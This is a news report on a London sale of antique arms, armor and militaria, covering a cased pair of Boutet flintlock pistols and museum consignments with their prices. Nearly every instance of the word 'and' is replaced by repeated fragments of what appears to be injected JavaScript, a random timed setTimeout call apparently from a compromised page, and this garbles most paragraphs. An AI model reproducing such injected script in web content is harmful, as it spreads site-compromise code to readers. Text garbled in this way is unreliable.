LONDON — A rare cased pair of French silver-mounted flintlock pistols by Boutet that descended in the family of Don José de la Serna, Conde de los Andes, viceroy of Peru (1770–1832), was the standom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andout lot in Thomas Del Mar Ltd’s auction of antique arms, armor andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and militaria on June 26. The cased pistols sold for $98,500.

The sale comprised 368 lots ranging from swords to muskets to helmets from all corners of the globe.

Following the sale, auctioneer andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and expert-in-charge Thomas Del Mar commented, “Following closely on the heels of the remarkable success of the Higgins Armory auction in May we were delighted with the result.  The auction included two further institutional properties, from the Metropolitan Museum of Art andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the Art Institute of Chicago, that were both 100 percent sold.”

Among the sale’s top ten lots, consignments from those US institutions included a composite North Italian etched corslet, late Sixteenth Century, from the Met, which sold for $35,000, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and from the Art Institute of Chicago to benefit the George F. Harding collection of arms andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and armor, a mounted armor for the “Jousts Real” in the Spanish style of circa 1500–10, mainly Nineteenth Century with some early Sixteenth Century elements, which brought $30,800.

Also from the Art Institute of Chicago were a pair of 16-bore Liegois flintlock holster pistols by Jean Jaques Behr, circa 1720–30, $30,000, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a 120-bore Silesian wheellock birding rifle (Tschinke), mid-Seventeenth Century, probably Cieszyn (Teschen), which realized $17,000.

Prices reported have been converted from British pounds to US dollars andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and include the buyer’s premium. For further information, +44 207 602 4805 or www.thomasdelmar.com.